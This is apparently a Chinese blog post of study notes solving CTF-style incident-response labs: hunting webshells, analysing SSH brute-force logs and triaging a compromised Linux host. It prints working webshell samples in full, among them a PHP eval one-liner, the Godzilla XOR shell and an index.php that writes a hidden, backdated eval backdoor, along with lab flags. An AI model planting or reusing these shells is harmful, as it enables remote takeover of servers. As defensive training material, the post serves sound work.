玄机靶场第一章学习笔记

第一章 应急响应-webshell查杀

简介

1
2
3
4
5
>靶机账号密码 root xjwebshell
>1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
>2.黑客使用的什么工具的shell github地址的md5 flag{md5}
>3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
>4.黑客免杀马完整路径 md5 flag{md5}

步骤1

黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

基础知识:代码特征

  1. 可疑函数调用

WebShell通常会使用一些危险的函数来执行系统命令或代码,如:

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()
  1. 编码和解码

WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:

1
eval(base64_decode('encoded_string'));
  1. 文件操作

WebShell可能会包含文件操作函数,用于读取、写入或修改文件:

  • PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
  • ASP: FileSystemObject
  1. 网络操作

WebShell可能会包含网络操作函数,用于与远程服务器通信:

  • PHP: fsockopen(), curl_exec(), file_get_contents('http://...')
  • ASP: WinHttp.WinHttpRequest

上面刚刚也说了我们可以尝试定位一些特殊的后缀文件,例如:.asp、.php、.jsp、.aspx。

命令:

1
2
3
4
5
6
7
8
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

先使用Xshell连接

再使用命令find ./ type f -name "*.php" | xargs grep "eval("

1
2
3
4
5
find ./ -type f -name "*.php"

find ./ type f -name "*.php" | xargs grep "eval"

find ./ -type f -name "*.php" -exec grep "eval" {} +

xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。

grep “eval(“:grep命令用于搜索文本,并输出匹配的行。这里”eval(“是grep命令的搜索模式,用于查找包含eval(字符串的行。

找到一个<?php phpinfo();@eval($_REQUEST[1]);?>

很明显shell.php是一个病毒文件,定位一下它的目录过发现没什么,找找其他的php文件

最后终于在gz.php里面发现了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

这段 PHP 代码主要涉及处理 HTTP 请求中的数据,并通过对数据进行编码、解码与会话存储实现动态执行某些操作。具体来说,代码看似用于某种类型的远程代码执行机制,其中使用了 eval() 函数来执行动态生成的代码。下面对代码逐行进行分析。

代码分析

1. 启动会话与禁用错误报告

1
2
3
@session_start();
@set_time_limit(0);
@error_reporting(0);
  • @session_start();:启动会话处理,@ 符号用于抑制可能的错误(如会话已经启动的警告)。
  • @set_time_limit(0);:设置脚本的最大执行时间为 0,意味着脚本可以无限制地运行。
  • @error_reporting(0);:关闭所有错误报告,这样运行时的错误信息不会被显示出来,通常用于隐藏潜在的错误信息,避免被外部用户发现漏洞。

2. encode 函数定义

1
2
3
4
5
6
7
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
  • encode 函数实现了一个简单的 XOR 加密算法。它使用一个密钥 $K 对数据 $D 中的每个字符进行 XOR 操作。

  • for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; }:对于每个字符,密钥 $K 被循环使用(每次通过 &15 限制为 16 字符的循环)。

  • ^ 是 XOR 操作符,用来将每个字符与密钥进行 XOR 加密/解密。

    这个函数可以用来进行数据加密和解密,因为 XOR 操作具有对称性:即 A^B^B = A

3. 数据获取与处理

1
2
3
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
  • $payloadName 设置为 payload,这是一个用来存储加密数据的会话变量名。
  • $key 是用来加密和解密的密钥。
  • $data 获取来自 HTTP 请求的原始输入数据(php://input),这个数据通常是 POST 请求的内容。

4. 数据加密与会话检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
  1. 数据处理
    • 如果 $data 不是 false,说明读取到请求体中的数据,接着对其进行加密($data = encode($data, $key))。
  2. 会话存在检查
    • 如果会话中有 payload(即 $_SESSION[$payloadName] 存在),则对会话中的 payload 进行解密。
    • 然后判断 payload 中是否包含 getBasicsInfo 字符串。如果没有,就对 payload 再次进行加密。这看起来像是某种数据完整性校验,确保 payload 中没有受到篡改。
  3. eval() 执行动态代码
    • eval($payload);:这个函数会执行 $payload 变量中的 PHP 代码。这里是潜在的安全漏洞,因为如果 payload 经过篡改或不受信任的输入,它可能会导致任意代码执行。
  4. 执行数据与返回
    • echo encode(@run($data),$key);:执行加密后的 $data(通过 @run($data)),然后将结果加密后返回。
    • @run() 可能是一个自定义函数,但由于代码中没有提供该函数的定义,不能完全确定它的实现。
  5. 会话存储
    • 如果会话中没有 payload,且 $data 中包含 getBasicsInfo 字符串,则将 $data 加密并存储在会话中,作为后续请求的基础数据。

5. 潜在的安全问题

  • eval() 的使用eval() 用于执行动态生成的 PHP 代码,如果 payload 数据不安全或来自不信任的用户输入,就可能导致远程代码执行漏洞(RCE)。这可以让攻击者在服务器上执行任意 PHP 代码,极为危险。
  • 数据加密与解密:虽然数据经过加密,但使用相同的密钥进行加解密,这可能并不足够防止攻击。加密的实现方式相对简单,也容易被攻击者通过某些手段恢复密钥。
  • 错误隐蔽:通过 @error_reporting(0) 关闭错误报告,这意味着如果出现错误,攻击者很难发现漏洞的存在。

总结

该 PHP 脚本看起来是设计用来处理通过 HTTP 请求传入的加密数据,并使用 eval() 执行传入的 PHP 代码。虽然加密数据可能看起来增加了安全性,但其对 eval() 函数的使用,以及错误报告的抑制,使得它很容易成为远程代码执行的攻击目标。使用 eval() 执行动态代码是一个严重的安全隐患,建议避免这种做法。

flag:flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

步骤2

黑客使用的什么工具的shell github地址的md5 flag{md5}

遇到这种类型的题目,我们就是要分析一下是什么类型的webshell,其实开头三句就可以分析出是godzilla的webshell了;

为什么这样说?

哥斯拉病毒是一种Java后门木马,通常用于攻击并控制Web服务器。特征就包括:

  1. @session_start(); - 开启一个会话。
  2. @set_time_limit(0); - 设置脚本执行时间为无限。
  3. @error_reporting(0); - 关闭所有错误报告。

这些代码行主要用于隐藏病毒活动并确保其能够长时间运行而不被发现。哥斯拉病毒通常会通过Webshell或其他漏洞注入到服务器中,然后使用这些命令来掩盖其存在并执行进一步的恶意操作。

所以我们只需要找到它的github地址并且进行MD5加密即可;

Godzilla地址:https://github.com/BeichenDream/Godzilla

md5加密一下

flag:flag{39392DE3218C333F794BEFEF07AC9257}

步骤3

黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

那既然说黑客隐藏shell了,那我们肯定需要用到命令ls -la进行查找;上面那个就很像

然后发现在挨个查找的过程中发现.Mysqlli.php如果普通的ls查看目录是查不出来的,必须用到ls -la才行,所以它就是隐藏了,我们直接定位一些它的路径,进行MD5加密即可;

路径:/var/www/html/include/Db/.Mysqli.php

flag:flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}

步骤4

黑客免杀马完整路径 md5 flag{md5}

免杀马(免杀病毒或免杀Webshell)是指经过特殊处理和混淆,使其能够避开杀毒软件和安全检测工具识别的恶意软件或后门程序。黑客使用各种技术手段,使恶意代码看起来像是正常代码,从而躲避签名检测和基于规则的安全机制。这种技术通常用于Webshell和其他后门程序,目的是保持对受害系统的隐蔽访问。

==常见的免杀技术==:

代码混淆:

使用混淆工具或手动混淆代码,使其难以被直接阅读和分析。

编码和加密:

使用Base64、ROT13等编码方式或更复杂的加密技术隐藏恶意代码片段。

动态生成和执行:

通过动态生成代码并在运行时执行,绕过静态分析。例如,使用 eval()、create_function() 等PHP函数。

多层解码:

多层编码或加密,增加分析和检测的难度。

使用合法函数:

恶意代码嵌入到看似合法的代码中,利用正常的函数调用执行恶意操作。
==查找和处理免杀马的方法==

文件完整性检查:

比较当前文件与已知的良性备份文件,发现被修改或新增的文件。

代码审查:

手动检查可疑文件,寻找混淆、编码、加密和动态执行的代码模式。

安全扫描工具:

使用高级安全扫描工具,这些工具使用行为分析和机器学习来检测潜在的免杀马。

日志分析:

查看服务器访问日志和错误日志,寻找异常访问和执行模式。
检查文件修改时间,与正常更新周期不符的文件可能是可疑的。

基于特征的检测:

使用YARA规则等特征检测工具,根据已知的免杀马特征进行扫描。

总结:免杀马通过静态检测是检测不到的,因为在免杀的过程中将webshel的特征值以及特征函数都给去掉了,因为webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录,这里也顺便说一下linux的日志存放在/var/log目录下。

既然它经过了免杀处理,那么木马的特征值以及特征函数应该都是被去掉了。这时我们再通过静态检测是基本检测不到的,从上面我们就可以看出我们只找到了三个马。而且上面我们说了webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录。

我们到apache2目录下面查看一下access.log日志,查看分析一下;(因为是日志所以记录有点多)

大部分都是重复的只有少数不一样的;

我们可以看到有个名为top.php的文件执行了phpinfo();且返回值为==200==,有点可疑。去找到相对应的文件发现是一个正常的文件

继续往下翻,又发现一个较为可疑的文件,到此目录下面查看该文件。

目录:/wap/top.php

可以看到这段代码是具有前面做免杀的特征,这里采用了异或,编码混淆,还有动态调用的方法。后面的func2是能够结合生成assert进行动态调用的代码执行的。

可以判断是个恶意文件,最后把路径进行md5进行加密即可;

/var/www/html/wap/top.php

flag:flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

第一章 应急响应-Linux日志分析

简介

1
2
3
4
5
6
7
账号root密码linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少

步骤1

1.有多少IP在爆破主机ssh的root帐号,如果有多个使用”,”分割 小到大排序 例如flag{192.168.200.1,192.168.200.2}

在Linux系统中,SSH登录尝试的日志通常记录在/var/log/auth.log或者/var/log/secure文件中

auth.logauth.log.1 的区别在于:

  • auth.log 是当前正在记录的认证相关日志文件,系统的身份验证信息(如登录、sudo、ssh连接等)实时写入这个文件。
  • auth.log.1 是前一个周期的认证日志的归档文件,是系统在日志轮转(log rotation)后生成的备份。

日志轮转机制(logrotate)简介:

系统为了避免单个日志文件无限增大,会定期(比如每天、每周等)把旧日志重命名为 .1.2.gz 等归档版本,并创建一个新的空日志文件继续记录。

例如:

  • auth.log:今天或这次轮转之后的日志。
  • auth.log.1:上一个周期的日志内容。
  • 如果有 auth.log.2.gz,那就是更久之前的,通常已经压缩归档。

怎么用它们?

  • 查看当前登录、权限相关行为:cat /var/log/auth.log
  • 查看历史认证行为(比如昨天或前几天的):cat /var/log/auth.log.1zcat /var/log/auth.log.2.gz

如果你想调试 ssh 登录、sudo 行为、安全问题,auth.log 系列是重点。

所以我们看auth.log.1

首先要记得我们需要的是爆破主机ssh的root账号。

我们这里可以用命令筛选一下。

1
2
3
4
5
6
7
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed password for root"
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2

这里参考一下Peterpan师傅的命令:

1
2
3
4
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
4 192.168.200.2
1 192.168.200.32
1 192.168.200.31

解释

这个命令用于分析 Linux 系统中 /var/log/auth.log.1 文件里关于 root 用户登录失败的记录。我们来一步步拆解和分析这条命令:


完整命令:

1
>cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

各部分含义:

  1. cat auth.log.1
  • 读取日志文件 auth.log.1 的内容(通常是旧的认证日志)。
  1. grep -a "Failed password for root"
  • 过滤出包含 "Failed password for root" 的行,这些行表示 root 用户尝试登录但密码错误。
  • -a 是让 grep 把二进制文件当作文本文件处理(有时日志中可能包含非文本字符)。
  1. awk '{print $11}'
  • 从每一行中提取第 11 列,一般是登录尝试的 IP 地址。

  • 举个例子:

    1
    Apr  2 10:20:10 server sshd[12345]: Failed password for root from 192.168.0.123 port 51854 ssh2

    第11列就是 IP:192.168.0.123

  1. sort
  • 对提取出来的 IP 地址进行排序(为后面的去重计数做准备)。
  1. uniq -c
  • 对相邻的相同 IP 计数,输出格式如:5 192.168.0.123,表示这个 IP 出现了 5 次。
  1. sort -nr
  • 按照数量从大到小排序(n:数字,r:倒序),可以看到哪些 IP 尝试最多。
  1. more
  • 分页显示,便于查看大量结果。

最终效果:

你会得到一个按尝试次数排序的 IP 列表,比如:

1
2
3
20 192.168.1.10
15 10.0.0.5
7 203.0.113.45

这些 IP 都是在尝试暴力破解 root 用户密码,尝试次数越多,危险性可能越高。


实用建议:

  • 可以根据这些 IP 做封禁,例如使用 iptablesfail2ban
  • 建议禁用 root 用户远程 SSH 登录,或者启用密钥认证,提高系统安全性。

awk 是一个文本处理工具,用于按字段处理文本。

{print $11} 表示打印每行的第11个字段。假设日志格式为标准格式,第11个字段通常是IP地址。

sort 命令用于对输入行进行排序 。uniq 命令用于删除重复的行,-c 选项表示对每个唯一的行计数,即统计每个IP地址的出现次数。

在Mash1r0看到一点小汇总,收藏一下:

这些命令,在这个环境作用不大,但是对于日志非常多的环境是很有用的,可以进行参考一下。

  • sort -nr: sort 命令再次用于排序。-n 选项表示按数值进行排序。-r 选项表示按降序排序。组合起来,即按出现次数从高到低排序。

  • more 命令用于分页显示输出。由于输出可能很长,more 命令允许用户逐页查看结果。

所以flag:flag{192.168.200.2,192.168.200.31,192.168.200.32}

步骤2

2.ssh爆破成功登陆的IP是多少,如果有多个使用”,”分割

这个命令不也就和前面类似了,我们先找到成功登录的模版。然后筛选即可。

1
2
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Accepted password for root" | awk '{print$11}' | sort | uniq -c
2 192.168.200.2

所以flag:flag{192.168.200.2}

步骤3

3.爆破用户名字典是什么?如果有多个使用”,”分割

我们要找到爆破的字典,肯定是还要做筛选的命令,Failed和Accepted的筛选肯定必不可少,我们需要找到所有尝试过的用户名。

我们先找到一个模版再进行筛选。

Aug 1 07:46:59 linux-rz sshd[7486]: Failed password for invalid user hello from 192.168.200.2 port 35833 ssh2

可以看到user后面的hello用户名这个关键字在第11个字段。然后看了一下成功登录的并没有其他用户,只有root。

1
2
3
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Accepted" | sort | uniq -c
1 Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
1 Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2

命令1

1
2
3
4
5
6
7
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -aoP "Failed password for invalid user(.*)from" | uniq -c | sort -r
5 Failed password for invalid user user from
5 Failed password for invalid user hello from
5 Failed password for invalid user from
1 Failed password for invalid user test3 from
1 Failed password for invalid user test2 from
1 Failed password for invalid user test1 from

这里的grep的有关参数如下:

  • -o:只输出匹配的部分。
  • -P:使用 Perl 兼容的正则表达式

sort -t是降序的意思。

然后会匹配到中间用户名的部分。

命令2

1
2
3
4
5
6
7
8
9
10
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
5 invalid user user
5 invalid user hello
5 invalid user
4 root
1 root
1 root
1 invalid user test3
1 invalid user test2
1 invalid user test1

来源:玄机——第一章 应急响应-Linux日志分析 wp

所以flag:flag{user,hello,root,test3,test2,test1}

步骤4

4.成功登录 root 用户的 ip 一共爆破了多少次

直接参考第一次命令的次数就行了

1
2
3
4
5
6
7
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
4 192.168.200.2
1 192.168.200.32
1 192.168.200.31
root@ip-10-0-10-2:/var/log# cat auth.log.1 | grep -a "Accepted" | sort | uniq -c
1 Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
1 Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2

成功登录的是192.168.200.2的ip,一共4次

所以flag:flag{4}

步骤5

5.黑客登陆主机后新建了一个后门用户,用户名是多少

通常与用户登录和用户管理活动相关的日志文件是 /var/log/auth.log 或其备份文件如 /var/log/auth.log.1

我们直接users,是看不到的,在看备份文件前,我们可以先看看/etc/shadow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@ip-10-0-10-1:~# cat /etc/shadow
root:$6$V5ItX87cUllL5G4h$yATBAGCLFnkAoW4erj4cBGT9mXg3kdqkItr8xX.64LJwsq48qDeukrTkOwoTE6TSYnaTDfSRvpWiq/BIMmhom/:19570:0:99999:7:::
daemon:*:19314:0:99999:7:::
bin:*:19314:0:99999:7:::
sys:*:19314:0:99999:7:::
sync:*:19314:0:99999:7:::
games:*:19314:0:99999:7:::
man:*:19314:0:99999:7:::
lp:*:19314:0:99999:7:::
mail:*:19314:0:99999:7:::
news:*:19314:0:99999:7:::
uucp:*:19314:0:99999:7:::
proxy:*:19314:0:99999:7:::
www-data:*:19314:0:99999:7:::
backup:*:19314:0:99999:7:::
list:*:19314:0:99999:7:::
irc:*:19314:0:99999:7:::
gnats:*:19314:0:99999:7:::
nobody:*:19314:0:99999:7:::
_apt:*:19314:0:99999:7:::
systemd-timesync:*:19314:0:99999:7:::
systemd-network:*:19314:0:99999:7:::
systemd-resolve:*:19314:0:99999:7:::
messagebus:*:19314:0:99999:7:::
unscd:*:19314:0:99999:7:::
ntp:*:19314:0:99999:7:::
sshd:*:19314:0:99999:7:::
systemd-coredump:!!:19322::::::
test2:$6$oIpMwQHVAWKNjsi1$kMV6ZNSOTZfqnNSxqMkl9tLj/1Y5KOJMZBzCu.qQgFxezvXrn..gHkt8lieFTDVCUI0PhVASNpZvKCJwsN3gH1:19570:0:99999:7:::
debian:!:19570:0:99999:7:::

可以很明确的看到两个特长的密码,猜测test2为新创的隐藏用户。为了进一步的验证,我们还是去看看日志文件比较好。

而且我们只能在备份的文件里面看到new的内容。

1
2
3
4
5
6
7
root@ip-10-0-10-1:~# cd /var/log
root@ip-10-0-10-1:/var/log# cat auth.log | grep -a "new"
root@ip-10-0-10-1:/var/log# cat auth.log.1 | grep -a "new"
Aug 1 07:50:45 linux-rz useradd[7551]: new group: name=test2, GID=1000
Aug 1 07:50:45 linux-rz useradd[7551]: new user: name=test2, UID=1000, GID=1000, home=/home/test2, shell=/bin/sh
Aug 1 08:18:27 ip-172-31-37-190 useradd[487]: new group: name=debian, GID=1001
Aug 1 08:18:27 ip-172-31-37-190 useradd[487]: new user: name=debian, UID=1001, GID=1001, home=/home/debian, shell=/bin/bash

我们还可以 结合其他日志文件,如 /var/log/syslog,查看是否有异常的命令执行或系统变更。但是好像这个环境没什么异常。

所以flag:flag{test2}

第一章 应急响应- Linux入侵排查

简介

1
2
3
4
5
6
7
>账号:root 密码:linuxruqin
>ssh root@IP
>1.web目录存在木马,请找到木马的密码提交
>2.服务器疑似存在不死马,请找到不死马的密码提交
>3.不死马是通过哪个文件生成的,请提交文件名
>4.黑客留下了木马文件,请找出黑客的服务器ip提交
>5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

步骤1

web目录存在木马,请找到木马的密码提交

用下面的命令

1
find . -type f -name "*.php" | xargs grep "eval"

解释

这行命令的作用是查找当前目录及其子目录下所有 .php 文件中包含 eval 字符串的行。

具体解释如下:

  1. find . -type f -name "*.php"
  • find 是用来在文件系统中查找文件的命令。
  • . 表示从当前目录开始查找。
  • -type f 表示查找类型为文件(而非目录、链接等其他类型)的文件。
  • -name "*.php" 表示查找所有扩展名为 .php 的文件。

这部分命令会返回所有 .php 文件的路径。

  1. |
    管道符号 | 将前一个命令的输出传递给后一个命令。

  2. xargs grep "eval"

  • xargs 是一个将标准输入转换为命令行参数的工具。在这里,它将 find 命令输出的 .php 文件列表传递给 grep 命令。
  • grep "eval" 是用来搜索文件中包含 eval 字符串的行。

所以,xargs grep "eval" 会在之前通过 find 查找到的所有 .php 文件中,搜索并显示包含 eval 字符串的行。

总结:

这行命令通过 find 查找所有 .php 文件,再用 grep 检查这些文件中是否包含 eval 代码。eval 是 PHP 中的一个危险函数,它会执行传入的字符串代码,常常被用来执行动态生成的代码。

可以发现有三个文件中存在。

我们依次去看看具体的文件内容。会发现只有1.php是简单的一句话木马。而另外两个像是通过index.php生成了隐藏文件.shell.php

我们的第二步骤里面是找不死马,所以可以明确一点是1.php是步骤1里面我们需要的普通木马,而后面的.shell.php是步骤2的不死马。

flag:flag{1}

步骤2

服务器疑似存在不死马,请找到不死马的密码提交

在前面已经分析过不死马对应的是哪个文件,这里的密码对应的是md5加密的部分,而不是连接的密码。我们拿去爆破解密就行了。

flag:flag{hello}

步骤3

不死马是通过哪个文件生成的,请提交文件名

这个前面也分析过了,是用index.php生成了一个.shell.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@ip-10-0-10-1:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

看一下.shell.php

1
2
root@ip-10-0-10-1:/var/www/html# cat .shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>

flag:flag{index.php}

步骤4

黑客留下了木马文件,请找出黑客的服务器ip提交

我们先去/var/log下面寻找对应的日志文件。

先看auth.log里面有没有进行暴力破解的痕迹

1
2
3
4
5
6
7
8
9
10
11
12
root@ip-10-0-10-1:/var/log# cat auth.log
Apr 2 02:52:37 ip-10-0-10-1 sshd[833]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=223.104.67.124 user=root
Apr 2 02:52:38 ip-10-0-10-1 sshd[833]: Failed password for root from 223.104.67.124 port 62100 ssh2
Apr 2 02:52:50 ip-10-0-10-1 sshd[833]: Accepted password for root from 223.104.67.124 port 62100 ssh2
Apr 2 02:52:50 ip-10-0-10-1 sshd[833]: pam_unix(sshd:session): session opened for user root by (uid=0)
Apr 2 02:52:50 ip-10-0-10-1 systemd-logind[430]: New session 1 of user root.
Apr 2 02:52:50 ip-10-0-10-1 systemd: pam_unix(systemd-user:session): session opened for user root by (uid=0)
Apr 2 02:56:05 ip-10-0-10-1 sshd[858]: Invalid user 0 from 185.246.128.133 port 6750
Apr 2 02:56:05 ip-10-0-10-1 sshd[858]: pam_unix(sshd:auth): check pass; user unknown
Apr 2 02:56:05 ip-10-0-10-1 sshd[858]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.246.128.133
Apr 2 02:56:07 ip-10-0-10-1 sshd[858]: Failed password for invalid user 0 from 185.246.128.133 port 6750 ssh2
Apr 2 02:56:09 ip-10-0-10-1 sshd[858]: Connection reset by invalid user 0 185.246.128.133 port 6750 [preauth]

发现日志文件里面是不存在有shell.php的

再看登录成功的IP提交发现不对

重新看看有没有新线索,发现html下面有一个可疑的elf文件,linux中的可执行文件

1
2
3
4
5
6
7
8
9
10
root@ip-10-0-10-1:~# netstat -antlp | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 577/mysqld
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 505/sshd
tcp 0 1 10.0.10.1:38474 10.11.55.21:3333 SYN_SENT 967/./shell(1).elf
tcp 0 0 10.0.10.1:22 223.104.67.124:62100 ESTABLISHED 833/sshd: root@pts/
tcp 0 36 10.0.10.1:22 223.104.67.124:62102 ESTABLISHED 971/sshd: root@pts/
tcp6 0 0 :::80 :::* LISTEN 513/apache2
tcp6 0 0 :::22 :::* LISTEN 505/sshd

所以flag:flag{10.11.55.21}

步骤5

黑客留下了木马文件,请找出黑客服务器开启的监端口提交

在步骤4里面已经分析过了,里面也有对应的端口号直接提交即可。

1
2
3
4
5
6
7
8
9
10
root@ip-10-0-10-1:~# netstat -antlp | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 577/mysqld
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 505/sshd
tcp 0 1 10.0.10.1:38474 10.11.55.21:3333 SYN_SENT 967/./shell(1).elf
tcp 0 0 10.0.10.1:22 223.104.67.124:62100 ESTABLISHED 833/sshd: root@pts/
tcp 0 36 10.0.10.1:22 223.104.67.124:62102 ESTABLISHED 971/sshd: root@pts/
tcp6 0 0 :::80 :::* LISTEN 513/apache2
tcp6 0 0 :::22 :::* LISTEN 505/sshd

所以flag:flag{3333}

本文参考

玄机——第一章 应急响应-Linux日志分析 wp

Mash1r0-第一章 应急响应-Linux日志分析